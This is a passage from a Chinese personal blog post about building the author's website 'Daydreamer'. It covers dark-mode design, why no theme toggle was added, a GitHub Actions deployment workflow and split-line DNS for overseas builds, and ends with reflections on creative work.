因此,我调整了夜间模式阴影的颜色。

白天和夜晚的按钮

这不是最好的设计,但应该至少是逻辑可以自洽的设计……

主题切换按钮?

还有一个比较犹豫的点,就是是否要在网站中加上主题切换按钮,即在「跟随系统、亮色主题、暗色主题」之间切换。这是不少网站流行的做法。

其实我已经初步实现了这样的组件,但是在测试中有如下几个问题:

  • 浏览器的主题设置,源于 prefers-color-scheme: dark 媒体查询,这是不能被修改的;如果要在系统查询结果为 light 时显示 dark 主题,就需要在 tailwind.config.js 中添加配置 darkMode: "class",指示「不听从浏览器设置,只在设置了名为 dark 的 class 时显示为 darkmode」。但是如果添加此设置,用户的亮暗色主题必须完全自行维护,即使用户设定「跟随系统」。这样,在某些情况下逻辑会非常复杂(比如用户选择「跟随系统」,然后在浏览网页时在设置页面切换了 darkmode,需要手动监听这样的事件并维护状态……)。
  • 很多用户(特别是 Windows 用户)会无法理解「主题切换」的含义,这一按钮对于他们会带来困扰。如果他们误将主题设置为「亮色主题」或「暗色主题」,将永远无法看到另一种主题。非常可惜。

仔细想想,其实在网页中提供主题切换按钮并没有必要。对于知晓 darkmode 概念的用户,他们自然会在浏览器中设置好自己适应的主题;对于不知晓 darkmode 概念的用户,他们不在乎这一功能,设置这一按钮也会带来困扰。

Apple Developer 在《人机交互指南》中《深色模式》的最佳实践里也写道:

避免提供 App 特定的外观设置。App 特定的外观模式选项会额外增加用户的工作量,因为他们必须调整多项设置才能得到想要的外观。更糟糕的是,用户可能会觉得你的 App 是有问题的,因为 App 没有使用他们选择的系统范围外观。

综上所述,我没有添加主题切换按钮。

GitHub Actions 自动构建和发布

最后,我希望我的网站使用 GitHub Actions 自动构建和发布。

如果不使用 GitHub Actions,我能够想象到我滑稽的手动构建流程:在本地 npm run build,然后将生成的 /dist 目录打包 scp 上传到服务器,在服务器上删除原来的网站文件,解压压缩包放进网站目录……这一套全手动流程太不优雅了,也缺乏标准化。

如果将网站部署到 Vercel 之类的 Serverless 平台,对应的平台都提供了非常方便的一键设置。但是,我希望将构建完毕的网站部署在自己的服务器上。这就需要手动编写自己的 Action。具体来说,参照 GitHub Pages 的实现,运行 npm run build 之后将 /dist 目录生成的文件部署到 pages 分支。在我服务器上的网站目录中,使用 git 克隆 pages 分支的文件,每次网站更新之后只需要 pull 即可。

name: Deploy Stable Version

on:
  push:
    branches:
      - main
  workflow_dispatch:

permissions:
  contents: write

jobs:
  build-and-deploy:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout code
        uses: actions/checkout@v4
        with:
          ref: main
      - name: Set up Node.js
        uses: actions/setup-node@v4
        with:
          node-version: 21
      - name: Install dependencies
        run: npm install
      - name: Build project
        run: npm run build
      - name: Deploy to pages branch
        uses: peaceiris/actions-gh-pages@v3
        with:
          github_token: ${{ secrets.GITHUB_TOKEN }}
          publish_dir: ./dist
          publish_branch: pages

在构建的时候会遇到网络问题。因为我的博客系统(blog.skywt.cn)使用了又拍云的 CDN,对海外线路的支持非常差。对于海外用户来说,使用又拍云 CDN「加速」实际上是「减速」,并且经常出现无法访问的现象。GitHub Actions 的 runner 当然都在海外,在构建的过程中,需要访问我博客的 API 获取大量数据,这个过程中难免会出现网络问题,导致构建失败。

解决方法灵感源于这篇《出海业务如何免费做到全球加速》。我的 DNS 是阿里云提供的,阿里云 DNS 也提供了分线路解析的功能。可以将「境外」线路直接解析到服务器 IP,「默认」配置(即其他国内线路)解析到又拍云 CDN。这样,境外线路不会通过又拍云 CDN,虽然延迟不小,但不会再出现网络问题。(不过更好的解决方案是国内走又拍云 CDN,国外走 Cloudflare 或者 Cloudfront。改天配置好了这个可以单独写篇文章。)

最后:「黑客与画家」

某天在玩 Cities: Skylines(一款城市设计规划游戏)的时候突然想到:我在做的事情和搞开发好像。都是创造一个东西,看这个东西运行起来,并获得某种成就感。甚至前者的入门门槛和后者一样高……

之前《电路与电子学》课程的期末设计,用 Quartus II 设计一个原型机,需要自己设计组件之间的各种连线。做这个大作业前几天我也沉迷 Cities: Skylines,当时在给各种组件之间连线的时候,我恍惚有一种神奇的感受:这好像在 Cities: Skylines 中修建道路。没错,这也和游戏很像。

本质上,这些给我们带来的都是创造的快乐

其实 Cities: Skylines、Minecraft 这一类游戏,要求玩家在其中创造城市或建筑,和城市规划、建筑设计的工作非常类似,只是简化了流程、缩短了反馈时间、降低了门槛。许多人戏称玩 Cities: Skylines 是「上班」。而玩家这些本来应该是「生产」的行为,却成了「消费」的行为。

这是因为人们在真正的工作中无法获得满足感,每天都做着自己也认为毫无意义的工作,所以只能在下班时间在这些游戏里寻找有意义的「创造」的快乐。

所以马克思写道:

人只有在运用自己的动物机能——吃、喝、生殖,至多还有居住、修饰等——的时候,才觉得自己在自由活动,而在运用人的机能时,觉得自己只不过是动物。

于是,动物的东西成了人的东西,而人的东西成为动物的东西。

说回搞开发,我越来越感觉到,开发本质上和这些游戏不是一样的吗?一样是在创造一个东西,一样能够得到即时的反馈。只是 Skylines 里面创造的是城市,软件开发创造的是软件。软件开发者也是创作者。

黑客与画家的共同之处,在于他们都是创作者。与作曲家、建筑师、作家一样,黑客和画家都是试图创作出优秀的作品。

——《黑客与画家》

如果未来能在自己的事业中体会到「创造」的成就感,那将是十分幸运和幸福的事情。

Daydreamer

这整套程序,我将其命名为 Daydreamer,它将作为一个持续开发的 playground,加入各种好玩的功能。

其实《Daydreamer》是 AURORA 的一首歌,这也是 Apple WWDC 2020 的开场曲。那是 Apple 第一次因疫情线上举办 WWDC。

Then we become night time dreamers
Street walkers, small talkers
When we should be daydreamers
And moonwalkers, and dream talkers

——《Daydreamer》

是呀,我们慢慢在夜里才敢做梦,慢慢成为了没有梦想的平凡之辈。

但是我们本可以在白天做着白日梦,我们可以登上月球,可以大声谈论自己的梦想。

感谢订阅 SkyWT 的博客。

订阅成功。该 RSS 源显示最近发布的 20 篇文章。当有新文章时,RSS 源会及时更新。

前往文章归档页面即可一览全部文章。

RSS 真是个伟大的发明,用开放的标准将独立的内容连接在一起,也将我们连接在一起。

❌